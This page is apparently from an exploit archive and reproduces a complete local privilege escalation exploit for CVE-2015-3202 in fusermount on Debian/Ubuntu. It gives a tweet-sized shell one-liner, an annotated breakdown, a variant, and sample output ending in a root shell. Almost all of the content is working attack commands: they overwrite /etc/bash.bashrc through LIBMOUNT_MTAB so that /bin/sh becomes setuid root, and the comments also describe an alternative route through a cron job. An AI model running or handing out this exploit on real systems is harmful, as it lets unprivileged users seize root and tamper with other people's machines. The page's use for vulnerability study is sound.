Skip to content
cyberexploits
locallinuxtext

Fuse 2.9.3-15 - Privilege Escalation

Fuse 2.9.3-15 - Privilege Escalation

Published on 2015-05-23

Source code

Pinned to commit 7eac4c3a2ce5
textplatforms/linux/local/37089.txt7eac4c3a
raw
Source: https://gist.github.com/taviso/ecb70eb12d461dd85cba

Tweet: https://twitter.com/taviso/status/601370527437967360

Recommend Reading: http://seclists.org/oss-sec/2015/q2/520

YouTube: https://www.youtube.com/watch?v=V0i3uJJPJ88







# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.

 

12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890

a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202

 

# Here's how it works, $a holds the name of a shellscript to be executed as

# root.

a=/tmp/.$$;

 

# $b is used twice, first to build the contents of shellscript $a, and then as

# a command to make $a executable. Quotes are unused to save a character, so

# the seperator must be escaped.

b=chmod\ u+sx;

 

# Build the shellscript $a, which should contain "chmod u+sx /bin/sh", making

# /bin/sh setuid root. This only works on Debian/Ubuntu because they use dash,

# and dont make it drop privileges.

#

# http://www.openwall.com/lists/oss-security/2013/08/22/12

#

echo $b /bin/sh>$a;

 

# Now make the $a script executable using the command in $b. This needlessly

# sets the setuid bit, but that doesn't do any harm.

$b $a;

 

# Now make $a the directory we want fusermount to use. This directory name is

# written to an arbitrary file as part of the vulnerability, so needs to be

# formed such that it's a valid shell command.

a+=\;$a;

 

# Create the mount point for fusermount.

mkdir -p $a;

 

# fusermount calls setuid(geteuid()) to reset the ruid when it invokes

# /bin/mount so that it can use privileged mount options that are normally

# restricted if ruid != euid. That's acceptable (but scary) in theory, because

# fusermount can sanitize the call to make sure it's safe.

#

# However, because mount thinks it's being invoked by root, it allows

# access to debugging features via the environment that would not normally be

# safe for unprivileged users and fusermount doesn't sanitize them.

#

# Therefore, the bug is that the environment is not cleared when calling mount

# with ruid=0. One debugging feature available is changing the location of

# /etc/mtab by setting LIBMOUNT_MTAB, which we can abuse to overwrite arbitrary

# files.

#

# In this case, I'm trying to overwrite /etc/bash.bashrc (using the name of the

# current shell from $0...so it only works if you're using bash!).

#

# The line written by fusermount will look like this:

#

# /dev/fuse /tmp/.123;/tmp/.123 fuse xxx,xxx,xxx,xxx

#

# Which will try to execute /dev/fuse with the paramter /tmp/_, fail because

# /dev/fuse is a device node, and then execute /tmp/_ with the parameters fuse

# xxx,xxx,xxx,xxx. This means executing /bin/sh will give you a root shell the

# next time root logs in.

#

# Another way to exploit it would be overwriting /etc/default/locale, then

# waiting for cron to run /etc/cron.daily/apt at midnight. That means root

# wouldn't have to log in, but you would have to wait around until midnight to

# check if it worked.

#

# And we have enough characters left for a hash tag/comment.

LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202

 

# Here is how the exploit looks when you run it:

#

# $ a=/tmp/_;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202

# fusermount: failed to open /etc/fuse.conf: Permission denied

# sending file descriptor: Socket operation on non-socket

# $ cat /etc/bash.bashrc 

# /dev/fuse /tmp/_;/tmp/_ fuse rw,nosuid,nodev,user=taviso 0 0

#

# Now when root logs in next...

# $ sudo -s

# bash: /dev/fuse: Permission denied

# # ls -Ll /bin/sh

# -rwsr-xr-x 1 root root 121272 Feb 19  2014 /bin/sh

# # exit

# $ sh -c 'id'

# euid=0(root) groups=0(root)

#

# To repair the damage after testing, do this:

#

# $ sudo rm /etc/bash.bashrc

# $ sudo apt-get install -o Dpkg::Options::="--force-confmiss" --reinstall -m bash

# $ sudo chmod 0755 /bin/sh

# $ sudo umount /tmp/.$$\;/tmp/.$$

# $ rm -rf /tmp/.$$ /tmp/.$$\;

#





- - - - - - - - - - -





$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit

$ mkdir -p '/tmp/exploit||/tmp/exploit'

$ LIBMOUNT_MTAB=/etc/bash.bashrc  _FUSE_COMMFD=0 fusermount '/tmp/exploit||/tmp/exploit'

fusermount: failed to open /etc/fuse.conf: Permission denied

sending file descriptor: Socket operation on non-socket

$ cat /etc/bash.bashrc

/dev/fuse /tmp/exploit||/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0



Then simply wait for root to login, or alternatively overwrite

/etc/default/locale and wait for cron to run a script that sources it.

That means root wouldn't have to log in, but you would have to wait

around until midnight to check if it worked.

View on GitHub